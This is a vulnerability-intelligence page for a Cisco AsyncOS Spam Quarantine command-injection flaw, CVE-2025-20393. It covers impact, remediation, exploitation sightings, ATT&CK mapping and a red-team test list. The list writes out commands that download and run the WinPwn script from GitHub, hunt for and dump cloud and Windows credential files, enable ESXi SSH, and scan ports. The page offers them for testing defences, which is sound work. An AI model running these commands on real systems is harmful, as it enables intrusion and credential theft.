CVE-2025-20393

CRITICAL CISA KEV POC TTE 7h Pub 17/12 Upd 26/02

Overview

This vulnerability is a command injection flaw caused by insufficient validation of HTTP requests processed by the Spam Quarantine feature in Cisco AsyncOS Software. The root cause lies in the improper sanitization of input parameters within the HTTP request handling logic, allowing crafted requests to reach system-level command execution functions. The affected component is the Spam Quarantine feature of Cisco Secure Email Gateway and Cisco Secure Email and Web Manager running AsyncOS.

Vulnerability Description

A vulnerability in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager could allow an unauthenticated, remote attacker to execute arbitrary system commands on an affected device with root privileges. This vulnerability is due to insufficient validation of HTTP requests by the Spam Quarantine feature. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges.

Impact

An unauthenticated remote attacker can execute arbitrary system commands with root privileges on the affected device by exploiting this vulnerability. No authentication or user interaction is required to exploit the flaw. Successful exploitation results in full system compromise, enabling control over the underlying operating system, which may lead to data breaches, disruption of email services, and lateral movement within the network environment.

Solution

Cisco has released an advisory (cisco-sa-sma-attack-N9bf4) providing detailed patch instructions and mitigation guidance for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager running AsyncOS. Administrators should apply the updated AsyncOS software versions as specified in the advisory to remediate this vulnerability. Refer to the Cisco Security Advisory at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 for exact patch versions and deployment recommendations.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the Spam Quarantine feature of Cisco AsyncOS Software for Cisco Secure Email Gateway and Cisco Secure Email and Web Manager is a critical security flaw that stems from inadequate validation of HTTP requests. This weakness allows unauthenticated remote attackers to send specially crafted HTTP requests to the affected devices. By exploiting this vulnerability, an attacker can execute arbitrary system commands with root privileges, thereby gaining full control over the underlying operating system. The lack of stringent input validation mechanisms in the Spam Quarantine feature creates a significant attack surface, making it easier for malicious actors to manipulate the system.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering techniques to trick users into interacting with malicious links that trigger the crafted HTTP requests. Alternatively, automated scripts could be deployed to scan for vulnerable devices within a network, allowing attackers to exploit the vulnerability without any user interaction. Once the crafted request is sent, the attacker could execute commands that could lead to data exfiltration, system manipulation, or the installation of backdoors for persistent access. The potential for remote command execution poses a severe threat, as it can be executed from anywhere in the world, making it difficult to trace the source of the attack.

The real-world impact of this vulnerability is profound, particularly for organizations relying on Cisco's email security solutions. A successful exploit could lead to unauthorized access to sensitive data, compromise of internal systems, and disruption of business operations. The ability to execute arbitrary commands with root privileges means that attackers could manipulate system configurations, disable security features, or even pivot to other systems within the network. This level of access not only jeopardizes the integrity and confidentiality of organizational data but also exposes the organization to regulatory penalties and reputational damage. The financial implications of such a breach could be substantial, encompassing costs related to incident response, remediation, and potential legal liabilities.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected Cisco AsyncOS Software is crucial in closing the security gap. Organizations should also employ intrusion detection and prevention systems (IDPS) to monitor for unusual HTTP requests that may indicate exploitation attempts. Additionally, network segmentation can limit the potential impact of an exploit by isolating critical systems from less secure environments. Educating employees about the risks of phishing and social engineering can further reduce the likelihood of successful exploitation.

In conclusion, the vulnerability in the Spam Quarantine feature of Cisco AsyncOS Software represents a significant threat to organizations utilizing these email security solutions. The potential for remote command execution with root privileges underscores the need for immediate attention and action. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will be essential in safeguarding sensitive data and maintaining the integrity of business operations in an increasingly hostile cyber landscape.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2025-20393, reflected by a significant increase in detection activity and a sharp rise in the Exploit Prediction Scoring System (EPSS) score. This upward trend signals growing adversary interest and capability to leverage the vulnerability in Cisco Secure Email Gateway and Cisco Secure Email and Web Manager environments. The emergence of multiple new proof-of-concept tools on public repositories further lowers the barrier for threat actors to conduct reconnaissance and exploitation. Although no confirmed ransomware campaigns have been linked to this vulnerability, the association with the Akira group underscores the potential for future integration into targeted attack frameworks. For defenders, this evolving landscape heightens the urgency to enhance monitoring and incident response readiness, as the risk of successful remote command execution with root privileges becomes increasingly imminent. Consequently, the threat level for CVE-2025-20393 has escalated from a theoretical concern to an actively exploited vector, demanding prioritized attention within organizational security postures.

Affected Products (6)

Vendor Product Version CPE
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
cisco Cisco Asyncos All cpe:2.3:o:cisco:asyncos:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (5)

Repository Author Stars Forks Date Link
StasonJatham/cisco-sa-sma-attack-N9bf4
Script to detect CVE-2025-20393 for Cisco Secure Email Gateway And Cisco Secure Email and Web Manager
StasonJatham 21 1 2025-12-18 View
cyberleelawat/CVE-2025-20393
Cisco is aware of a potential vulnerability.  Cisco is currently investigating and will update these details a...
cyberleelawat 2 0 2025-12-18 View
redpack-kr/Blackash-CVE-2025-20393
CVE-2025-20393
redpack-kr 0 0 2025-12-28 View
cyberdudebivash/CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner
This tool helps identify exposure to CVE-2025-20393 by checking for open TCP/6025 ports, responsive Spam Quarantine inte...
cyberdudebivash 0 0 2026-01-16 View
KingHacker353/CVE-2025-20393
KingHacker353 0 0 2025-12-18 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

7 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-03-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-12-18
PoC Published (5 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2025-12-17
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
92% command_injection
Remote Code Execution
80% rce
Improper Input Validation
65% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
55%
High High
CAPEC-88 OS Command Injection
55%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
52%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
51%
Medium High
CAPEC-22 Exploiting Trust in Client
51%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-20393
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20393